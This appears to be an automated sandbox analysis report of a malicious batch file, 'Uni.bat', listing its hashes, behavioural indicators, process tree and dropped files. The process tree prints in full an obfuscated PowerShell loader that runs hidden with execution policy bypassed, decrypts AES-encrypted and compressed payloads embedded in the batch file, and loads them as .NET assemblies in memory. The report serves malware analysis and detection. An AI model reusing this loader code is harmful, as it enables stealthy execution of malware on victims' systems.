d6437638c72a39b34562e272d2e61f8f1408d50a0230341a7bacb675ca30c72f

Analysis

max time kernel
16s
max time network
21s
platform
windows10-2004_x64
resource
win10v2004-20230703-es
resource tags

arch:x64arch:x86image:win10v2004-20230703-eslocale:es-esos:windows10-2004-x64systemwindows
submitted
15/07/2023, 14:29

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General

Target

Uni.bat
Size

12.7MB
MD5

be62b93f5d396c3e0170e242524dd028
SHA1

99e4790126a772af2f29e065c1aef6063e8e12b8
SHA256

d6437638c72a39b34562e272d2e61f8f1408d50a0230341a7bacb675ca30c72f
SHA512

6705287c045c5c0991e528006798d8c26b8e69abe0250a87e1d24c1dea7c18d1e570d7b9b604a1546d50519fc2cf41e418c417b10310a38e0da0c53db32272bb
SSDEEP

49152:Z5irCQcDQZMpqSIvIS/Pb3M171APKQbmVROCoGnquAwJYdbgwk654lp0IZXApwFU:w

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
4508	Uni.bat.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe
File opened for modification	C:\Windows\$sxr-seroxen2\$sxr-Uni.bat	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4508	Uni.bat.exe
4508	Uni.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4508	Uni.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 2012	2156	cmd.exe	88
PID 2156 wrote to memory of 2012	2156	cmd.exe	88
PID 2012 wrote to memory of 4000	2012	net.exe	89
PID 2012 wrote to memory of 4000	2012	net.exe	89
PID 2156 wrote to memory of 4508	2156	cmd.exe	96
PID 2156 wrote to memory of 4508	2156	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4000
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function AhdqY($Soqyo){ $GMrUJ=[System.Security.Cryptography.Aes]::Create(); $GMrUJ.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GMrUJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GMrUJ.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n6ZNlJxqzpQ1XRiG2tuu1JmoHxwJc3mli81U2A8nQ9k='); $GMrUJ.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYZLgisbwIsxFzm0XsH2pQ=='); $sxZZG=$GMrUJ.CreateDecryptor(); $return_var=$sxZZG.TransformFinalBlock($Soqyo, 0, $Soqyo.Length); $sxZZG.Dispose(); $GMrUJ.Dispose(); $return_var;}function FhGev($Soqyo){ $lTYrn=New-Object System.IO.MemoryStream(,$Soqyo); $jNRyy=New-Object System.IO.MemoryStream; $CbFKP=New-Object System.IO.Compression.GZipStream($lTYrn, [IO.Compression.CompressionMode]::Decompress); $CbFKP.CopyTo($jNRyy); $CbFKP.Dispose(); $lTYrn.Dispose(); $jNRyy.Dispose(); $jNRyy.ToArray();}function CQPwX($Soqyo,$GqVhs){ $nPHkC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$Soqyo); $JxPGs=$nPHkC.EntryPoint; $JxPGs.Invoke($null, $GqVhs);}$EFkiG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($eFXlV in $EFkiG) { if ($eFXlV.StartsWith('SEROXEN')) { $dpUOE=$eFXlV.Substring(7); break; }}$OdrYv=[string[]]$dpUOE.Split('\');$UxsjS=FhGev (AhdqY ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OdrYv[0])));$mgxsE=FhGev (AhdqY ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OdrYv[1])));CQPwX $mgxsE (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));CQPwX $UxsjS (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4508

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4pguvt5j.rpi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4508-139-0x000002601C900000-0x000002601C982000-memory.dmp

Filesize
520KB

Download
memory/4508-145-0x000002601C8D0000-0x000002601C8F2000-memory.dmp

Filesize
136KB

Download
memory/4508-150-0x0000026002580000-0x0000026002590000-memory.dmp

Filesize
64KB

Download
memory/4508-151-0x00007FFB3E460000-0x00007FFB3EF21000-memory.dmp

Filesize
10.8MB

Download
memory/4508-152-0x000002601A7F0000-0x000002601A800000-memory.dmp

Filesize
64KB

Download
memory/4508-153-0x000002601CAA0000-0x000002601CBA2000-memory.dmp

Filesize
1.0MB

Download
memory/4508-154-0x000002601A7F0000-0x000002601A800000-memory.dmp

Filesize
64KB

Download